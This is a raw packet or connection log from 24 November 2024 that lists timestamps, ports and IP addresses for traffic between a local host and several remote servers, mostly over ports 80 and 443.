Nov 24, 2024 23:24:39.595148087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.595191002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.595869064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.595946074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.595966101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.596018076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.596662045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.596714020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.596767902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.596812010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.597466946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.597583055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.597634077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.598267078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.598359108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.598361015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.598411083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.599087954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.599136114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.599210024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.599251986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.599921942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.599976063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.600019932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.600146055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.600719929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.600770950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.600815058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.600990057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.601519108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.601639032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.601646900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.601711035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.602330923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.602400064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.602441072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.602495909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.603144884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.603262901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.603275061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.603307962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.603957891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.604058981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.604062080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.604106903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.604741096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.604795933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.604850054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.605590105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.605628967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.605665922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.605726957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.606383085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.606477022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.606498003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.606611967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.607177973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.607291937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.607532024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.607990026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.608112097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.608172894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.608787060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.608841896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.608886003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.608931065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.609621048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.609671116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.609704971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.609764099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.610404968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.610454082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.610523939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.610600948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.611237049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.611288071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.611368895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.611421108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.612037897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.612082958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.612138987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.612212896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.612859011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.612914085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:39.612957954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.612986088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:39.933819056 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:39.933845043 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:39.933860064 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:39.934015989 CET	49788	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:39.934057951 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:39.934230089 CET	49788	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:39.935514927 CET	443	49841	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:39.937947035 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:39.938013077 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:39.938344002 CET	49788	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:39.956669092 CET	49841	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:39.956708908 CET	443	49841	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:39.957863092 CET	443	49841	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:39.957933903 CET	49841	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:39.984347105 CET	49841	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:39.984488964 CET	443	49841	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:39.985012054 CET	49841	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:39.985043049 CET	443	49841	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:40.027883053 CET	49841	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:40.032617092 CET	443	49840	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:40.033308983 CET	49840	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:40.033355951 CET	443	49840	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:40.034418106 CET	443	49840	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:40.034502983 CET	49840	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:40.037596941 CET	49840	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:40.037682056 CET	443	49840	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:40.037923098 CET	49840	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:40.037946939 CET	443	49840	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:40.037990093 CET	49840	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:40.038042068 CET	443	49840	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:40.062292099 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.062292099 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.062318087 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.062326908 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.070508957 CET	49788	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:40.070533037 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:40.070574045 CET	49788	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:40.070583105 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:40.079087973 CET	49840	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:40.113377094 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.113383055 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.113429070 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.113435984 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.113516092 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.113554001 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.114639997 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.114655972 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.115195036 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.115217924 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.140224934 CET	443	49847	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.151016951 CET	443	49844	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.154905081 CET	443	49848	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.154942989 CET	49847	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.154951096 CET	443	49847	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.155163050 CET	49844	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.155177116 CET	443	49844	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.155335903 CET	49848	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.155381918 CET	443	49848	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.155529976 CET	443	49844	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.156097889 CET	443	49847	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.156155109 CET	49847	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.156414986 CET	443	49848	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.156492949 CET	49848	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.167834044 CET	49844	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.167927980 CET	443	49844	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.173199892 CET	49847	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.173322916 CET	443	49847	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.173691034 CET	49848	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.173789024 CET	443	49848	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.174114943 CET	49844	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.174215078 CET	49847	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.174226999 CET	443	49847	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.176413059 CET	49848	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.176446915 CET	443	49848	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.183892012 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.184746027 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.184763908 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.185098886 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.186199903 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.186263084 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.186364889 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.188196898 CET	443	49846	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.189085960 CET	49846	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.189096928 CET	443	49846	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.190202951 CET	443	49846	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.190282106 CET	49846	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.191889048 CET	49846	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.191956043 CET	443	49846	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.192220926 CET	49846	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.192230940 CET	443	49846	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.215374947 CET	443	49844	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.221649885 CET	49848	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.221658945 CET	49847	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.227340937 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.237174988 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.237195969 CET	49846	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.297791004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.299911976 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.300456047 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.300467014 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.301184893 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.301188946 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.367990971 CET	49856	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:40.368040085 CET	443	49856	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:40.368272066 CET	49856	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:40.368839979 CET	49857	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:40.368868113 CET	443	49857	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:40.368940115 CET	49857	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:40.369448900 CET	49856	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:40.369462967 CET	443	49856	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:40.369698048 CET	49857	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:40.369715929 CET	443	49857	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:40.372030973 CET	49858	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:40.372039080 CET	443	49858	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:40.372155905 CET	49858	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:40.373034954 CET	49858	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:40.373048067 CET	443	49858	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:40.374578953 CET	49859	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:40.374598026 CET	443	49859	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:40.374718904 CET	49859	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:40.374979973 CET	49859	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:40.374996901 CET	443	49859	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:40.398258924 CET	443	49849	18.161.34.125	192.168.2.5
Nov 24, 2024 23:24:40.398479939 CET	49849	443	192.168.2.5	18.161.34.125
Nov 24, 2024 23:24:40.398500919 CET	443	49849	18.161.34.125	192.168.2.5
Nov 24, 2024 23:24:40.398874998 CET	443	49849	18.161.34.125	192.168.2.5
Nov 24, 2024 23:24:40.399228096 CET	49849	443	192.168.2.5	18.161.34.125
Nov 24, 2024 23:24:40.399301052 CET	443	49849	18.161.34.125	192.168.2.5
Nov 24, 2024 23:24:40.399364948 CET	49849	443	192.168.2.5	18.161.34.125
Nov 24, 2024 23:24:40.417243958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.447338104 CET	443	49849	18.161.34.125	192.168.2.5
Nov 24, 2024 23:24:40.451304913 CET	49849	443	192.168.2.5	18.161.34.125
Nov 24, 2024 23:24:40.476247072 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:40.476281881 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:40.476464033 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:40.476573944 CET	443	49841	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:40.476640940 CET	443	49841	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:40.476748943 CET	49841	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:40.476922035 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:40.476931095 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:40.477590084 CET	49841	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:40.477613926 CET	443	49841	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:40.484821081 CET	49861	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:40.484854937 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:40.484997988 CET	49861	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:40.485212088 CET	49861	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:40.485224962 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:40.576323986 CET	443	49840	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:40.576443911 CET	443	49840	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:40.576519012 CET	49840	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:40.578897953 CET	49840	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:40.578937054 CET	443	49840	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:40.603825092 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.604531050 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.604557037 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.605032921 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.605038881 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.621407032 CET	443	49847	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.621661901 CET	443	49847	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.621771097 CET	49847	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.626589060 CET	49847	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.626605034 CET	443	49847	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.636959076 CET	443	49848	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.636986017 CET	443	49848	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.637041092 CET	443	49848	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.637058020 CET	49848	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.637119055 CET	49848	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.652448893 CET	443	49844	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.652467012 CET	443	49844	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.652533054 CET	443	49844	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.652538061 CET	49844	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.652586937 CET	49844	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.657051086 CET	49844	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.657064915 CET	443	49844	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.658890009 CET	49848	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.658912897 CET	443	49848	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.676644087 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.676678896 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.676687956 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.676728010 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.676737070 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.676789999 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.676789999 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.678911924 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.678976059 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.679025888 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.686940908 CET	443	49846	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.686960936 CET	443	49846	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.687031031 CET	443	49846	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.687045097 CET	49846	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.690648079 CET	49846	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.693614006 CET	49846	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:40.693622112 CET	443	49846	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:40.770852089 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.770937920 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.770962000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.770984888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.770997047 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.771044970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.771044970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.771311045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.771348953 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.771365881 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.771369934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.771461964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.771605015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.772138119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.772191048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.772217035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.772260904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.772732973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.772794008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.772831917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.772947073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.773535967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.773648977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.773658991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.773698092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.774378061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.774475098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.774525881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.774564981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.775367022 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.775397062 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.775476933 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.775753021 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:40.775769949 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:40.874996901 CET	443	49849	18.161.34.125	192.168.2.5
Nov 24, 2024 23:24:40.875077963 CET	443	49849	18.161.34.125	192.168.2.5
Nov 24, 2024 23:24:40.875125885 CET	49849	443	192.168.2.5	18.161.34.125
Nov 24, 2024 23:24:40.876427889 CET	49849	443	192.168.2.5	18.161.34.125
Nov 24, 2024 23:24:40.876446962 CET	443	49849	18.161.34.125	192.168.2.5
Nov 24, 2024 23:24:40.905456066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.905535936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.905569077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.905698061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.905872107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.905924082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.905982018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.906121016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.906687021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.906734943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.906790018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.906943083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.907454967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.907516956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.907799959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.907879114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.907887936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.908010006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.908540010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.908596992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.908642054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.908685923 CET	49760	80	192.168.2.5	185.215.113.206
